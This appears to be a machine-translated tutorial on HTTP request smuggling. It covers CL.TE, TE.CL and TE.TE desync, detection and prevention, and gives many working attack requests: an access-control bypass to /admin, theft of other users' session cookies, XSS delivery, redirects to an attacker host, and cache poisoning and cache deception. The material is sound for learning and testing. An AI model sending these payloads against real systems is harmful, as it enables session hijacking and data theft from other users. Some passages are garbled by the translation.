HTTP request smuggling for Web Security

Time:2021-7-12

HTTP request smuggling

In this section, we will explain what HTTP request smuggling is and describe how common request smuggling vulnerabilities are created.

What is HTTP request smuggling

HTTP request smuggling is a technology that interferes with the processing of multiple HTTP request sequences. Request smuggling vulnerability is very harmful, it allows attackers to bypass security control, unauthorized access to sensitive data and directly harm other application users.

HTTP request smuggling for Web Security

What happened to HTTP request smuggling

Today’s application architecture often uses services such as load balancing, reverse proxy, gateway and so on. These services play the role of forwarding requests to back-end servers on the link. Because they are located in front of back-end servers, they are called front-end servers in this paper.

When the front-end server (forwarding service) forwards HTTP requests to the back-end server, it usually sends multiple requests through the same network connection with the back-end server, because it is more efficient. The protocol is very simple: HTTP requests are sent one by one, and the server receiving the request parses the HTTP request header to determine the end position of one request and the start position of the next request, as shown in the figure below
HTTP request smuggling for Web Security

In this case, the front-end server (forwarding service) and the back-end system must agree on the boundary of the request. Otherwise, the attacker may send an ambiguous request, which is parsed by the front-end server (forwarding service) and the back-end system in different ways

HTTP request smuggling for Web Security

As shown in the figure above, the attacker makes part of the previous request parsed by the back-end server to the beginning of the next request, which will interfere with the way the application processes the request. This is the request for smuggling attacks, which can have devastating consequences.

How does HTTP request smuggling vulnerability come into being

Most HTTP request smuggling vulnerabilities occur because the HTTP specification provides two different methods to specify the end of the requestContent-LengthTouheTransfer-EncodingHead.

Content-LengthThe header simply specifies the length of the message body in bytes. For example:

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

Transfer-EncodingThe header can declare that the message body is usedchunkedEncoding means that the message body is split into one or more blocks for transmission. The beginning of each block is the current block size (expressed in hexadecimal), followed by\r\nAnd then there’s the chunked content, and then there’s the following\r\n。 The termination block of a message has the same format, except that its length is zero. For example:

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
q=smuggling
0

Since the HTTP specification provides two different methods to specify the length of HTTP messages, the two methods can be used in a single message at the same time, so that they conflict with each other. In order to avoid this ambiguity, the HTTP specification states that ifContent-LengthandTransfer-EncodingIf it exists at the same time, thenContent-LengthIt should be ignored. This ambiguity can be avoided when only one service is running, but it cannot be avoided when multiple services are connected together. In this case, there are two reasons for the problem:

  • Some servers do not support theTransfer-EncodingHead.
  • Some servers supportTransfer-EncodingHeader, but can be obfuscated in some way to induce that header not to be processed.

If the front-end server (forwarding service) and the back-end server handleTransfer-EncodingIf they behave differently, they may have differences on the boundary between successive requests, which leads to request smuggling loopholes.

How to attack HTTP request smuggling

Request smuggling attack needs to be used in HTTP request header at the same timeContent-LengthandTransfer-EncodingTo enable the front-end server (forwarding service) and the back-end server to process the request in different ways. The specific execution mode depends on the behavior of the two servers

  • CL.TE: front end server (forwarding service) useContent-LengthHeader, while the back-end server usesTransfer-EncodingHead.
  • TE.CL: front end server (forwarding service) useTransfer-EncodingHeader, while the back-end server usesContent-LengthHead.
  • TE.TE: both front end server (forwarding service) and back end server useTransfer-EncodingHeader, but the header can be obfuscated in some way to induce one of the servers not to process it.

Cl.te vulnerability

Front end server (forwarding service) useContent-LengthHeader, while the back-end server usesTransfer-EncodingHead. We can construct a simple HTTP request smuggling attack as follows:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

Front end server (forwarding service) useContent-LengthDetermine that the length of the request body is 13 bytes untilSMUGGLEDThe end of the story. The request is then forwarded to the back end server.

Back end server usageTransfer-EncodingThe request body is treated as a block, and then the first block is processed, which happens to be the termination block with zero length. Therefore, the message is directly considered to be ended, and the followingSMUGGLEDIt will not be processed and will be considered the beginning of the next request.

Te.cl vulnerability

Front end server (forwarding service) useTransfer-EncodingHeader, while the back-end server usesContent-LengthHead. We can construct a simple HTTP request smuggling attack as follows:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

Note: there are 0 above followed by 0\r\n\r\n

Front end server (forwarding service) useTransfer-EncodingThe message body is encoded as a block. The length of the first block is 8 bytes, and the content is 0SMUGGLEDThe length of the second block is 0, that is, to terminate the block, so the request is terminated here and then forwarded to the back-end service.

Back end service usageContent-LengthThe message body has only three bytes, that is8\r\nAnd the rest will not be processed and treated as the start of the next request.

Te.te confused with te head

Both the front-end server (forwarding service) and the back-end server use itTransfer-EncodingHeader, but the header can be obfuscated in some way to induce one of the servers not to process it.

confusionTransfer-EncodingThere can be no end to the way the head works. For example:

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Each of these technologies is slightly different from the HTTP specification. The actual code that implements the protocol specification rarely complies with the protocol specification with absolute accuracy, and different implementations usually tolerate different changes from the protocol specification. To find outTE.TELoopholes must be foundTransfer-EncodingSome variation of the header so that one of the front-end servers (forwarding service) or back-end servers can handle it normally, while the other server ignores it.

According to can be confused, induction does not deal withTransfer-EncodingIs it a front-end server (forwarding service) or a back-end service, and the latter attack mode is different from the formerCL.TEorTE.CLThe vulnerability is the same.

How to prevent HTTP request smuggling vulnerability

When the current end server (forwarding service) forwards multiple requests to the back-end server through the same network connection, and the front-end server (forwarding service) and the back-end server have inconsistent judgment on the request boundary, the HTTP request smuggling vulnerability will appear. Some common methods to prevent HTTP request smuggling vulnerability are as follows:

  • Disable reuse of connections to back-end servers so that each request is sent over a separate network connection.
  • Use HTTP / 2 for back-end server connections because this protocol prevents ambiguity on the boundaries between requests.
  • The front-end server (forwarding service) and the back-end server use exactly the same web software so that they can agree on the boundaries between requests.

In some cases, the vulnerability can be avoided by enabling the front-end server (forwarding service) to specify ambiguous requests or enabling the back-end server to reject ambiguous requests and close the network connection. However, this method is more error prone than the general method above.


Find HTTP request smuggling vulnerability

In this section, we introduce different techniques for finding HTTP request smuggling vulnerabilities.

Timing technology

The most common and effective way to detect HTTP request smuggling vulnerability is timing technology. Send a request, and if there is a vulnerability, the application’s response will be delayed.

Using timing technology to find cl.te vulnerability

If the application existsCL.TEVulnerability, sending the following requests usually results in time delay:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

Front end server (forwarding service) useContent-LengthIt is considered that the message body has only four bytes1\r\nASo the followingXThe request is ignored and then forwarded to the back end. The back-end service usesTransfer-EncodingThen it will wait for the block to be terminated0\r\n。 This results in a significant response delay.

Using timing technology to find te.cl vulnerability

If the application existsTE.CLVulnerability, sending the following requests usually results in time delay:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

Front end server (forwarding service) useTransfer-EncodingBecause the first partition is0\r\nStop blocking, so the followingXDirectly ignored, and then forward the request to the back end. The back-end service usesContent-LengthIt will wait until the next 6 bytes. This leads to significant delays.

Note: if the application is vulnerable toCL.TEThe attack of vulnerability is based on timeTE.CLVulnerability testing may interfere with other application users. Therefore, in order to hide and minimize interference, you should do it firstCL.TETesting, only after failureTE.CLTesting.

Use differential response to confirm HTTP request smuggling vulnerability

When a possible request smuggling vulnerability is detected, further evidence of the vulnerability can be obtained by using the vulnerability to trigger the difference of application response content. This involves sending two consecutive requests to the application:

  • An attack request, designed to interfere with the processing of the next request.
  • A normal request.

If the response to a normal request contains expected interference, the vulnerability is identified.

For example, suppose the normal request is as follows:

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

This request usually receives an HTTP response with a status code of 200, which contains some search results.

The attack request depends on the requestCL.TEstillTE.CL

Use differential response to confirm cl.te vulnerability

To confirmCL.TEVulnerability, you can send the following attack request:

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: x

If the attack is successful, the last two lines will be regarded by the back-end service as the beginning of the next request. This will cause the following normal request to become as follows:

GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

Since the URL of this request is now an invalid address, the server will respond with 404, which indicates that the attack request did cause interference.

Confirm te.cl vulnerability using differential response

To confirmTE.CLVulnerability, you can send the following attack request:

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

If the attack is successful, the back-end server willGET / 404All subsequent content is considered to belong to the next request received. This will cause the subsequent normal request to become:

GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

x=
0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

Since the URL of this request is now an invalid address, the server will respond with 404, which indicates that the attack request did cause interference.

Note that there are some important considerations to keep in mind when trying to confirm a request smuggling vulnerability by interfering with other requests:

  • “Attack” and “normal” requests should be sent to the server using different network connections. Sending two requests over the same connection does not prove that the vulnerability exists.
  • “Attack” requests and “normal” requests should use the same URL and parameter name as far as possible. This is because many modern applications route front-end requests to different back-end servers based on URLs and parameters. Using the same URL and parameters will increase the possibility that the request will be processed by the same back-end server, which is very important for the attack.
  • When testing “normal” requests to detect any interference from “attack” requests, you compete with any other requests you receive at the same time as the application, including requests from other users. You should send a “normal” request immediately after the “attack” request. If the application is busy, multiple attempts may be required to confirm the vulnerability.
  • In some applications, the front-end server acts as a load balancer and forwards requests to different back-end systems according to a load balancing algorithm. If your “attack” and “normal” requests are forwarded to different back-end systems, the attack will fail. This is another reason why you may need to try many times to confirm the vulnerability.
  • If your attack successfully interferes with subsequent requests, but this is not a “normal” request you sent to detect interference, it means that another application user is affected by your attack. If you continue with the test, this may have a devastating impact on other users, and you should be careful.

Exploit HTTP request smuggling vulnerability

In this section, we will describe several ways to exploit the HTTP request smuggling vulnerability, which also depends on the expected functionality and other behavior of the application.

Using HTTP request smuggling vulnerability to bypass the security control of front end server (forwarding service)

In some applications, the front-end server (forwarding service) is not only used to forward requests, but also used to implement some security controls to determine whether a single request can be forwarded to the back-end for processing. The back-end service thinks that all the received requests have passed the security verification.

Suppose that an application uses the front-end server (forwarding service) for access control. Only when the user is authorized to access, the request will be forwarded to the back-end server, and all requests accepted by the back-end server need not be further checked. In this case, HTTP request smuggling vulnerability can be used to bypass access control and smuggle requests to back-end servers.

Assume that the current user can access it/home, but not accessible/admin。 They can use the following request smuggling attacks to circumvent this restriction:

POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com

The front-end server (forwarding service) regards it as a request, and then verifies the access because the user has access/homeSo forward the request to the back-end server. However, the back-end server treats it as/homeand/adminTwo separate requests, and the request is considered to have passed the permission verification/adminAccess control for is actually bypassed.

The front end server (forwarding service) rewrites the request

In many applications, some rewriting is done before the request is forwarded to the back-end service, usually adding some additional request headers and so on. For example, forwarding request rewriting might:

  • Terminate the TLS connection and add some headers describing the protocol and key used.
  • add toX-Forwarded-ForThe header is used to mark the user’s IP address.
  • The user ID is determined based on the user’s session token, and a header is added to identify the user.
  • Add sensitive information of interest to other attacks.

In some cases, if your smuggling request lacks some headers added by the front-end server (forwarding service), then the back-end service may not process normally, resulting in the smuggling request can not achieve the expected effect.

There are usually some simple ways to know exactly how the front end server (forwarding service) rewrites the request. To do this, you need to perform the following steps:

  • Find a post request that reflects the value of the request parameter into the application response.
  • The parameters are arranged randomly so that the reflected parameters appear at the end of the message body.
  • Smuggle the request to the back-end server, and then send a normal request directly to show its rewritten form.

Suppose the application has a login function, which reflects the email parameters:

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

[email protected]

The response includes:

<input id="email" value="[email protected]" type="text">

At this point, you can use the following request smuggling attacks to reveal the rewriting of requests by the front-end server (forwarding service)

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

email=POST /login HTTP/1.1
Host: vulnerable-website.com
...

The front-end server (forwarding service) will rewrite the request to add a header, and then the back-end server will process the smuggling request and take the second request as the value of the email parameter, which is reflected in the response

<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...

Note: since the last request is being rewritten, you don’t know how long it will take to finish. The problem in smuggling requestContent-LengthThe value of the header determines when the back-end server processes the request. If the value is set too short, only a partial rewrite request will be received; If set too long, the back-end server will wait for a timeout. The solution, of course, is to guess a slightly larger initial value than the submitted request, and then gradually increase that value to retrieve more information until all the content of interest is available.

Once you understand how the forwarding server rewrites the request, you can make the necessary adjustments to ensure that the back-end server processes it in the expected way.

Capture requests from other users

If your application includes the ability to store and retrieve text data, you can use HTTP requests to capture the content requested by other users. These contents may include session token (session hijacking attack can be carried out after capture), or sensitive data submitted by other users. The attacked functions usually include comments, e-mail, personal data, display nicknames and so on.

To attack, you need to submit a request for data to the storage function, with the parameter containing the data at the end of the request. The next request processed by the back-end server will be appended to the smuggling request, and the result will store the original request of another user.

Suppose an application submits a blog post comment through the following request, which will be stored and displayed on the blog:

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net

You can perform the following request smuggling attacks to enable the back-end server to store and display the next user request as comment content:

GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 324

0

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=

When the next user request is processed by the back-end server, it will be attached to the smuggled request. As a result, the user’s request, including session cookies and other sensitive information, will be treated as comment content

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
...

Finally, you can see the details of other users’ requests directly through the normal way of viewing comments.

Note: the limitation of this technique is that it usually only captures data up to the boundary of the smuggling request. For URL encoded form submission, it is&Character, which means that the stored victim user’s request is up to the first one&The content between.

Reflection XSS attack using HTTP request smuggling

If the application has both HTTP request smuggling vulnerability and reflective XSS vulnerability, you can use request smuggling to attack other users of the application. This method is superior to the general reflective XSS attack in two aspects

  • It does not need to interact with victim users. You don’t have to send a phishing link to the victim and wait for them to visit. You just need to smuggle a request that contains an XSS payload and the next user’s request processed by the back-end server will hit.
  • It can take advantage of XSS attack in some parts of the request (such as HTTP request header), which cannot be easily controlled in normal reflective XSS attack.

Suppose that an applicationUser-AgentThere is a reflective XSS vulnerability in the header, so you can exploit this vulnerability by request smuggling as follows:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

At this point, the next user’s request will be attached to the smuggled request, and they will receive the reflected XSS payload in the response.

Using HTTP request smuggling to convert station redirection to open redirection

Many applications respond to requestsHOSTHeader to redirect the site URL. An example is the default behavior of Apache and IIS Web servers, where requests for a directory without slashes are redirected to the same directory with slashes:

GET /home HTTP/1.1
Host: normal-website.com

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Generally, this behavior is considered harmless, but it can be used in request smuggling attacks to redirect other users to external domains. For example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Smuggling requests will trigger a redirection to the attacker’s site, which will affect the next user’s request processed by the back-end service, for example:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

At this point, if the user requests a JavaScript file imported from the web site, the attacker can completely control the victim by returning his own JavaScript in the response.

Web cache pooling using HTTP request smuggling

A variant of the above attack is to use HTTP request smuggling to poison the web cache. If any part of the front-end infrastructure uses cache caching, it is possible to use an off-site redirection response to destroy the cache. The effect of this attack will continue, and all users who make requests to the contaminated URL will be recruited.

In this variant attack, the attacker sends the following to the front-end server:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable-website.com

The back-end server responds to the smuggling request by redirecting outside the station as before. The front-end server thinks it is the response of the URL of the second request, and then caches it

/static/include.js:

GET /static/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

From now on, when other users request this URL, they will receive a redirection to the attacker’s website.

Web cache pooling using HTTP request smuggling

Another attack variant is to use HTTP request smuggling to cheat Web cache. This is similar to the way of poisoning Web cache, but the purpose is different.

What is the difference between Web cache poisoning and Web cache deception?

  • For Web cache poisoning, the attacker will make the application store some malicious content in the cache, which will be provided to other users from the cache.
  • For Web cache deception, the attacker makes the application store some sensitive content belonging to another user in the cache, and then the attacker retrieves the content from the cache.

In this attack, the attacker initiates a smuggling request to return the user’s specific sensitive content. For example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked

0

GET /private/messages HTTP/1.1
Foo: X

A request from another user is attached to the smuggling request by the back end server, including session cookies and other headers. For example:

GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...

The back end server responds to this request in the normal way. This request is used to obtain the user’s private message and will be processed normally in the context of the victim user’s session. The front-end server caches the response according to the URL in the second request, / static / some-image.png

GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...

The attacker then accesses the static URL and receives sensitive content returned from the cache.

An important warning here is that the attacker does not know which URL the sensitive content will be cached to, because this URL is encountered by the victim user when the smuggling request takes effect. An attacker may need to obtain a large number of static URLs to discover the captured content.